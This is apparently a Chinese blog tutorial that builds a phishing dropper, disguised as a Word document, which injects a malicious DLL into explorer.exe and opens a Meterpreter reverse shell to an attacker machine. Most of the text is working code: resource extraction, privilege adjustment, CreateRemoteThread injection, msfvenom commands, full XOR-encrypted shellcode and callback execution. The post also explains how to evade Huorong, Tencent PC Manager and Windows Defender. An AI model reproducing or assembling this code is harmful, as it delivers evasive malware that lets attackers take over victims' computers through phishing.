分享

实战 | 记一次Word文档网络钓鱼以及绕过火绒,电脑管家和Windows Defender

 zZ华 2022-11-16 发布于广东

**** 本文章仅供教学为目的,若该文章的技术造成财产损失,本文作者概不负责 ****

虚拟机环境

Kali Linux IP: 192.168.107.128 

Windows Defender: 192.168.107.136 

Windows Huorong: 192.168.107.131 

Windows Tencent Anti-Virus: 192.168.107.1

程序分析

可执行过程

  1. 1. 当我们打开可执行文件时,我们将得到看起来像普通文档文件一样的Word文件窗口,同时我们在目录公共下载中提取恶意DLL文件。

  2. 2. 我们将在explorer.Exe中注入恶意的DLL文件,黑客将在他的机器中获取meterpreter shell。

  3. 3. 在受害者机器中删除自身程序并保持正常的Word文件

网络钓鱼部分

我们如何将Word文件存储在可执行文件中?

图片
image.png

Visual Studio -> Resources Files -> Add -> Resouce -> import -> choose your Word file -> input docx type

图片
image.png
图片
image.png

恶意DLL文件将自身存储在可执行文件中的方式相同。

图片
image.png
图片
image.png

我们如何释放资源?

// Initialize the variables
    char PathFileName[MAX_PATH] = { 0 };
    char FileName[MAX_PATH] = { 0 };
    char Dllpath[2*MAX_PATH] = 'C:\\Users\\Public\\Downloads\\acvfunc.dll';
    char FileType[10] = { 0 };

// Word File Resource Variables
    HRSRC Resource;
    HGLOBAL ResourceGlobal;
    DWORD FileSize;

// DLL File Resource Variables
    HRSRC DLL_Resource;
    HGLOBAL DLL_ResourceGlobal;
    DWORD DLL_FileSize;

在可执行文件中找到资源,将它们加载并锁定在void pointer中

// FindResourceA
// LoadResource
    Resource = FindResourceA(NULLMAKEINTRESOURCEA(101), 'docx');
    DLL_Resource = FindResourceA(NULLMAKEINTRESOURCEA(102), 'dll');
    
    ResourceGlobal = LoadResource(NULL, Resource);
    DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);

    FileSize = SizeofResource(NULL, Resource);
    DLL_FileSize = SizeofResource(NULL, DLL_Resource);

// Lock the resource in void* pointer
    LPVOID PFILE = LockResource(ResourceGlobal);
    LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);

我将文件名修改为程序名称,大家可以修改您想要的任何名称。

// Get the program name
    GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
    strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);


// phishing.exe -> phishing.docx
// modify the suffix
    for (size_t i = 0; i < MAX_PATH; i++)
    {
        if (FileName[i] == '.')
        {
            FileName[i + 1] = 'd';
            FileName[i + 2] = 'o';
            FileName[i + 3] = 'c';
            FileName[i + 4] = 'x';
            break;
        }
    }

    // Create a file and write the resource in it
    HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0NULL, CREATE_ALWAYS, 0NULL);
    DWORD dwSize;
    WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

使用ShellExecuteExA函数打开Word文件

    // open the docx file
    SHELLEXECUTEINFOA shellexc = { 0 };
    shellexc.cbSize = sizeof(shellexc);
    shellexc.lpFile = FileName;
    shellexc.nShow = SW_SHOW;
    ShellExecuteExA(&shellexc);

    // Donot forget close handle or you will get wrong :-(
    CloseHandle(FILE);

在公共路径中写入恶意DLL文件

    // Sleep(10000);  
    // To bypass Windows Deferder, Windows defender will scan the file in 10s when you execute the file as an administrator privilege.
    HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0NULL, CREATE_ALWAYS, 0NULL);
    DWORD dllSize;
    WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
    CloseHandle(DLLFILE);

整个释放资源功能函数如下

#pragma once

#include 'Basic.h'

// 'Basic.h' include Windows.h and iostream

void free_resource() {
    // Get File Name
    char PathFileName[MAX_PATH] = { 0 };
    char FileName[MAX_PATH] = { 0 };
    char Dllpath[2*MAX_PATH] = 'C:\\Users\\Public\\Downloads\\acvfunc.dll';
    char FileType[10] = { 0 };
    
    HRSRC Resource;
    HGLOBAL ResourceGlobal;
    DWORD FileSize;


    HRSRC DLL_Resource;
    HGLOBAL DLL_ResourceGlobal;
    DWORD DLL_FileSize;

    Resource = FindResourceA(NULLMAKEINTRESOURCEA(101), 'docx');
    DLL_Resource = FindResourceA(NULLMAKEINTRESOURCEA(102), 'dll');
    
    ResourceGlobal = LoadResource(NULL, Resource);
    DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);

    FileSize = SizeofResource(NULL, Resource);
    DLL_FileSize = SizeofResource(NULL, DLL_Resource);


    LPVOID PFILE = LockResource(ResourceGlobal);
    LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);

    GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
    strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);

    for (size_t i = 0; i < MAX_PATH; i++)
    {
        if (FileName[i] == '.')
        {
            FileName[i + 1] = 'd';
            FileName[i + 2] = 'o';
            FileName[i + 3] = 'c';
            FileName[i + 4] = 'x';
            break;
        }
    }

    // Create a file and write the resource in it
    HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0NULL, CREATE_ALWAYS, 0NULL);
    DWORD dwSize;
    WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

    
    // Create DLL FILE
    
    
    
    // open the docx file
    SHELLEXECUTEINFOA shellexc = { 0 };
    shellexc.cbSize = sizeof(shellexc);
    shellexc.lpFile = FileName;
    shellexc.nShow = SW_SHOW;
    ShellExecuteExA(&shellexc);

    CloseHandle(FILE);
    
    HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0NULL, CREATE_ALWAYS, 0NULL);
    DWORD dllSize;
    WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
    CloseHandle(DLLFILE);

}

我们如何在explorer.Exe进程中注入恶意软件?

  1. 确保我们有较高的特权注入,否则我们将注入失败。

  2.  加载恶意DLL

  3. 打开explorer.Exe句柄

  4. 分配 **读写可执行文件 **DLL的内存

  5. 从kernel32.dll获取LoadLibaryA函数地址

  6. 在explorer.Exe进程下创建远程线程。

提权部分

// initialize variable

    HANDLE hToken = NULL;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges = { 0 };
    BOOL bRet = FALSE

检查我们是否像管理员一样获得高特权

    bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
    if (bRet == FALSE) {
        ShowError('OpenProcessToken');
        return FALSE;
    }

    // Get Local System pszPrivileges LUID Value
    bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue);
    if (bRet == FALSE) {
        ShowError('LookupPrivilegeValueA');
        return FALSE;
    }

如果我们得到了查找特权值,我们可以尝试在程序中提升我们的权限

// Set Improve Privileges info
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Privilege Escalation
    bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 00NULL);
    if (bRet == FALSE) {
        ShowError('AdjustTokenPrivileges');
        return FALSE;
    }
    else {
        dwRet = GetLastError();
        if (dwRet == ERROR_SUCCESS) {
            return TRUE;
        }
        else if (dwRet == ERROR_NOT_ALL_ASSIGNED) {
            ShowError('ERROR_NOT_ALL_ASSIGNED');
            return FALSE;
        }
    }

整个提权部分

BOOL EnablePrivileges(HANDLE hProcess, LPCSTR pszPrivilegesName) {

    HANDLE hToken = NULL;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges = { 0 };
    BOOL bRet = FALSE;
    DWORD dwRet = 0;

    bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
    if (bRet == FALSE) {
        ShowError('OpenProcessToken');
        return FALSE;
    }

    // Get Local System pszPrivileges LUID Value
    bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue);
    if (bRet == FALSE) {
        ShowError('LookupPrivilegeValueA');
        return FALSE;
    }

    // Set Improve Privileges info
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Privilege Escalation
    bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 00NULL);
    if (bRet == FALSE) {
        ShowError('AdjustTokenPrivileges');
        return FALSE;
    }
    else {
        dwRet = GetLastError();
        if (dwRet == ERROR_SUCCESS) {
            return TRUE;
        }
        else if (dwRet == ERROR_NOT_ALL_ASSIGNED) {
            ShowError('ERROR_NOT_ALL_ASSIGNED');
            return FALSE;
        }
    }
    return FALSE;

}

注入DLL部分

// Initialize variable
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;

分配内存

//allocated memory in the injection process
    dwSize = 1 + strlen(pszDllFileName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError('VirtualAllocEx');
        return FALSE;
    }

在进程中写入恶意DLL文件

//Write data to the allocated memory
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError('WriteProcessMemory');
        return FALSE;
    }

获取加载DLL文件函数地址

// Get LoadLibraryA function address
    pFuncProcAddr = GetProcAddress(GetModuleHandle(L'kernel32.dll'), 'LoadLibraryA');
    if (NULL == pFuncProcAddr)
    {
        ShowError('GetProcAddress_LoadLibraryA');
        return FALSE;
    }

在进程下创建线程

// Use CreateRemoteThread to create a remote thread and implement DLL injection
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0NULL);
    if (NULL == hRemoteThread)
    {
        ShowError('CreateRemoteThread');
        return FALSE;
    }
    // Close handle
    CloseHandle(hProcess);

整个注入功能部分

BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, const char* pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;

    // Get Process Handle
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        ShowError('OpenProcess');
        return FALSE;
    }
    //allocated memory in the injection process
    dwSize = 1 + strlen(pszDllFileName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError('VirtualAllocEx');
        return FALSE;
    }
    //Write data to the allocated memory
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError('WriteProcessMemory');
        return FALSE;
    }
    // Get LoadLibraryA function address
    pFuncProcAddr = GetProcAddress(GetModuleHandle(L'kernel32.dll'), 'LoadLibraryA');
    if (NULL == pFuncProcAddr)
    {
        ShowError('GetProcAddress_LoadLibraryA');
        return FALSE;
    }
    // Use CreateRemoteThread to create a remote thread and implement DLL injection
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0NULL);
    if (NULL == hRemoteThread)
    {
        ShowError('CreateRemoteThread');
        return FALSE;
    }
    // Close handle
    CloseHandle(hProcess);

    return TRUE;
}

最重要的是,网络钓鱼部分已经结束,

下一部分是如何绕过 火绒,腾讯电脑管家(其实和火绒一样,具体过程略)和 Windows Defender。

绕过部分

如何创建恶意的DLL文件?

老实说,我脑海中的第一个想法是通过msfvenom创建DLL。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f dll -0 malicious_dll.dll

但它将被火绒、腾讯电脑管家和 Windows Defender 检测到。因为 msfvenom 的特征码已经被各大厂商盯死了,DLL文件一落地直接被查杀

图片
image.png
图片
image.png
图片
image.png

所以我们必须自己编写DLL文件来绕过检测。如果我们的DLL文件安全着陆,我们已经绕过了防病毒静态检测。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f c -v shellcode
使用msfvenom 创建 shellcode
图片
image.png

ShellCode 加密

我们可以使用最简单的XOR加密来装饰shellcode。有很多种加密方式,但是我觉得shellcode加密只是绕过静态查杀,所以目的只是绕过静态查杀就行。相比于通信加密,shellcode的加密技术可以比较简单。

unsigned char encryptedShellcode[] =
'\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50'
'\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52'
'\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f'
'\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41'
'\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52'
'\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f'
'\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0'
'\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x49\x01\xd0\x50\x8b'
'\x48\x18\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9'
'\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1'
'\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8'
'\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44'
'\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01'
'\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83'
'\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9'
'\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00'
'\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49'
'\x89\xe5\x49\xbc\x02\x00\x11\x62\xc0\xa8\x6b\x80\x41\x54'
'\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5'
'\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b'
'\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31'
'\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41'
'\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58'
'\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5'
'\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00'
'\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58'
'\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00'
'\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68'
'\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba'
'\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31'
'\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9'
'\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68'
'\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f'
'\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49'
'\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48'
'\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2'
'\xf0\xb5\xa2\x56\xff\xd5';



char key[] = 'lkdajsdwqe,sadlqwe:_)';
char cipherType[] = 'xor';
// Char array to host the deciphered shellcode
unsigned char shellcode[sizeof encryptedShellcode];
unsigned char shellcode2[sizeof encryptedShellcode];

std::cout << encryptedShellcode << std::endl;


printf('\n\n\n');
// XOR decoding stub using the key defined above must be the same as the encoding key
int j = 0;
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        if (j == sizeof key - 1) j = 0;
        // shellcode[sizeof encryptedShellcode - 1 - i] = encryptedShellcode[i];
        shellcode[i] = (encryptedShellcode[i] + 0x72) ^ key[j] ;
        // shellcode[i] = (shellcode[i] ^ key[j]) - 0x72;
        // shellcode[i] = encryptedShellcode[i] ^ key[j];
        j++;

        }

        for (int i = 0; i < sizeof encryptedShellcode; i++) {
        printf('\\x%x', shellcode[i]);
        }
我们可以得到加密的 shellcode.
图片
image.png

解密

unsigned char E_shellcode[] =
'\x2\xd1\x91\x37\x8\x29\x5a\x5\x3\x17\x9f\xb0\xd2\xa6\xa8\xb2\xcd\xc6\x7e\x88\x93\x91\xaf\xb6\xa9\xd0\x8e\xa0\xfd\xcb\x98\xe8\xe1\xde\xc7\x57\xcb\x8a\x81\xf8\xe5\xa8\x45\xd7\xd8\xdb\xc9\x41\x7a\xd9\xa2\x8b\x58\xed\xf3\xd7\x5f\x4a\x8\xd6\x49\x6c\x7d\x33\xaf\xd7\xa2\xd0\x8e\xa0\xe5\x8c\xd1\x82\xc9\x12\x26\xb4\x82\x9d\xef\x47\x2b\xa8\x9b\x8f\x16\x13\x18\x8e\x96\x8d\x3\x17\x5e\xc9\x96\x56\x8a\xa8\xcd\x16\x78\xe9\xd4\xde\xf9\xdf\x12\x28\xb1\x99\xcd\xfb\x30\xe4\xc9\x10\x5f\xdf\x8c\xd1\x9f\x85\xfc\x12\xd6\x18\x2c\xdb\xc9\x41\x7a\xc4\x42\x5e\x53\xc0\x12\x57\xc6\x23\x90\x6\x84\x2a\x97\xfa\x11\xd3\xca\x29\x94\x2e\xbd\xc7\x98\x9e\xe5\xda\x17\x2e\xa9\xc4\x98\x44\xe5\x9f\x91\xd9\xea\xda\x19\x31\xd7\x8a\x7\x9f\x9f\xb9\xdb\x17\x2e\xc2\xbd\xb5\xf1\x93\x9a\xa6\xd8\xaf\xd2\xa6\xc9\x91\x29\xe3\xd6\xe8\x2\x33\xae\xdf\xba\xbb\xdf\xc7\xdb\x72\xd1\x1a\x15\x10\xa5\xc8\x54\x9e\x94\xc1\xfd\xd6\xc5\x16\x1e\xc2\xbf\xde\xc1\x7\x93\x9f\x35\x76\x12\x18\x1\xdf\x8c\x26\xde\x2\x7\x13\xe7\xb8\x43\x6d\xb8\xc8\xec\xef\xd7\x90\x32\xdf\x91\x10\xd7\x5b\xcf\x8c\xb4\xa\x10\x23\xd2\x8a\x2b\xbf\x49\x2c\x5b\x1e\xa0\xd7\x4d\xf1\x81\xb9\x5\x0\x22\xf0\xf\xd2\xb4\xae\xb3\xc8\xc6\x1\xe0\x8a\x5e\xd1\x15\x53\xd0\x88\x50\xcd\x0\x57\x96\x88\x52\xd7\x40\x2d\xf6\x34\x68\x2e\x6e\xd6\x90\x5d\xbd\xe8\xc0\xae\xc9\x8a\x31\x96\x88\xa\xd7\x40\x7a\x60\x83\xe9\x2e\x6e\x9b\x59\x82\x1d\xd1\x2\x24\x90\x26\x3f\x29\x1\x13\x16\xd6\x84\x29\xe7\x80\xa4\x7d\xd3\xc8\x5f\xbd\x1c\xc0\xae\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x9c\xac\xde\x94\x5c\xe1\xb4\x8c\x19\xb9\x9e\xc0\xaa\xbe\x1e\xf3\x5\x17\x89\x95\x93\x97\xf\xde\xc2\x51\xc0\x48\xbd\x67\xa0\x7b\x2\x26\xde\x97\x44\xcc\x9e\x3\xe0\x8a\x57\xd0\x9f\x3\xd0\x88\x28\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x83\xf1\xae\xd2\xa3\xb8\xbe\x5\xc3\x17\x5e\xc0\xab\xb8\x1e\xbd\xc4\x49\x47\xfe\xa8\xce\x1a\x23\xa8\xa1\xc0\x48\x90\x91\xda\xff\x2\x26\xdf\x1d\x31\x2c\xcb\x4b\x2e\x58\xd6\x18\x51\xdb\xf1\x4b\xde\x80\x19\x82\xa\xc0\x10\x3d\xa6\xad\x5\xae\x81\x66\x1d\xe\x4c\x70\xa9\x1b\x34\x16';

unsigned chardecrypt() {

    unsigned char shellcode[sizeof E_shellcode];
    int j = 0;

    char key[] = 'lkdajsdwqe,sadlqwe:_)';
    for (int i = 0; i < sizeof E_shellcode; i++) {
        if (j == sizeof key - 1) j = 0;
        shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72;
        j++;
    }

    return shellcode;
    
}

jmp_shellcode 函数 通过回调函数,来直接执行shellcode

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{

    unsigned char* addrShellcode = decrypt();
    DWORD dwOldPro = 0;
    BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // Callback function can bypass a lot of Anti-Virus softwares
    EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 00);
    return 0;
}

DLL MAIN 函数

HANDLE hThread = NULL;
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        decrypt();
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL0, jmp_shellcode, 000);
        MessageBox(NULLL'You are hacked 'L'Hacked by Leviathan', MB_OK);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

整个DLL_File源代码

// dllmain.cpp : Defines the entry point for the DLL application.
#include 'pch.h'
#include <windows.h>
#include <stdlib.h>



typedef void(__stdcall* JMP_SHELLCODE)();

//unsigned char shellcode[] =
//'\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50'
//'\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52'
//'\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48'
//'\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41'
//'\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41'
//'\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f'
//'\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0'
//'\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49'
//'\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88'
//'\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1'
//'\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8'
//'\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44'
//'\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41'
//'\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83'
//'\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9'
//'\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00'
//'\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49'
//'\x89\xe5\x49\xbc\x02\x00\x11\x62\xc0\xa8\x6b\x80\x41\x54'
//'\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5'
//'\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b'
//'\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31'
//'\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41'
//'\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58'
//'\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5'
//'\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00'
//'\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58'
//'\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00'
//'\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68'
//'\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba'
//'\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31'
//'\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9'
//'\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68'
//'\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f'
//'\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49'
//'\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48'
//'\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2'
//'\xf0\xb5\xa2\x56\xff\xd5';

unsigned char E_shellcode[] =
'\x2\xd1\x91\x37\x8\x29\x5a\x5\x3\x17\x9f\xb0\xd2\xa6\xa8\xb2\xcd\xc6\x7e\x88\x93\x91\xaf\xb6\xa9\xd0\x8e\xa0\xfd\xcb\x98\xe8\xe1\xde\xc7\x57\xcb\x8a\x81\xf8\xe5\xa8\x45\xd7\xd8\xdb\xc9\x41\x7a\xd9\xa2\x8b\x58\xed\xf3\xd7\x5f\x4a\x8\xd6\x49\x6c\x7d\x33\xaf\xd7\xa2\xd0\x8e\xa0\xe5\x8c\xd1\x82\xc9\x12\x26\xb4\x82\x9d\xef\x47\x2b\xa8\x9b\x8f\x16\x13\x18\x8e\x96\x8d\x3\x17\x5e\xc9\x96\x56\x8a\xa8\xcd\x16\x78\xe9\xd4\xde\xf9\xdf\x12\x28\xb1\x99\xcd\xfb\x30\xe4\xc9\x10\x5f\xdf\x8c\xd1\x9f\x85\xfc\x12\xd6\x18\x2c\xdb\xc9\x41\x7a\xc4\x42\x5e\x53\xc0\x12\x57\xc6\x23\x90\x6\x84\x2a\x97\xfa\x11\xd3\xca\x29\x94\x2e\xbd\xc7\x98\x9e\xe5\xda\x17\x2e\xa9\xc4\x98\x44\xe5\x9f\x91\xd9\xea\xda\x19\x31\xd7\x8a\x7\x9f\x9f\xb9\xdb\x17\x2e\xc2\xbd\xb5\xf1\x93\x9a\xa6\xd8\xaf\xd2\xa6\xc9\x91\x29\xe3\xd6\xe8\x2\x33\xae\xdf\xba\xbb\xdf\xc7\xdb\x72\xd1\x1a\x15\x10\xa5\xc8\x54\x9e\x94\xc1\xfd\xd6\xc5\x16\x1e\xc2\xbf\xde\xc1\x7\x93\x9f\x35\x76\x12\x18\x1\xdf\x8c\x26\xde\x2\x7\x13\xe7\xb8\x43\x6d\xb8\xc8\xec\xef\xd7\x90\x32\xdf\x91\x10\xd7\x5b\xcf\x8c\xb4\xa\x10\x23\xd2\x8a\x2b\xbf\x49\x2c\x5b\x1e\xa0\xd7\x4d\xf1\x81\xb9\x5\x0\x22\xf0\xf\xd2\xb4\xae\xb3\xc8\xc6\x1\xe0\x8a\x5e\xd1\x15\x53\xd0\x88\x50\xcd\x0\x57\x96\x88\x52\xd7\x40\x2d\xf6\x34\x68\x2e\x6e\xd6\x90\x5d\xbd\xe8\xc0\xae\xc9\x8a\x31\x96\x88\xa\xd7\x40\x7a\x60\x83\xe9\x2e\x6e\x9b\x59\x82\x1d\xd1\x2\x24\x90\x26\x3f\x29\x1\x13\x16\xd6\x84\x29\xe7\x80\xa4\x7d\xd3\xc8\x5f\xbd\x1c\xc0\xae\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x9c\xac\xde\x94\x5c\xe1\xb4\x8c\x19\xb9\x9e\xc0\xaa\xbe\x1e\xf3\x5\x17\x89\x95\x93\x97\xf\xde\xc2\x51\xc0\x48\xbd\x67\xa0\x7b\x2\x26\xde\x97\x44\xcc\x9e\x3\xe0\x8a\x57\xd0\x9f\x3\xd0\x88\x28\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x83\xf1\xae\xd2\xa3\xb8\xbe\x5\xc3\x17\x5e\xc0\xab\xb8\x1e\xbd\xc4\x49\x47\xfe\xa8\xce\x1a\x23\xa8\xa1\xc0\x48\x90\x91\xda\xff\x2\x26\xdf\x1d\x31\x2c\xcb\x4b\x2e\x58\xd6\x18\x51\xdb\xf1\x4b\xde\x80\x19\x82\xa\xc0\x10\x3d\xa6\xad\x5\xae\x81\x66\x1d\xe\x4c\x70\xa9\x1b\x34\x16';

unsigned chardecrypt() {

    unsigned char shellcode[sizeof E_shellcode];
    int j = 0;

    char key[] = 'lkdajsdwqe,sadlqwe:_)';
    for (int i = 0; i < sizeof E_shellcode; i++) {
        if (j == sizeof key - 1) j = 0;
        shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72;
        j++;
    }

    return shellcode;
    
}


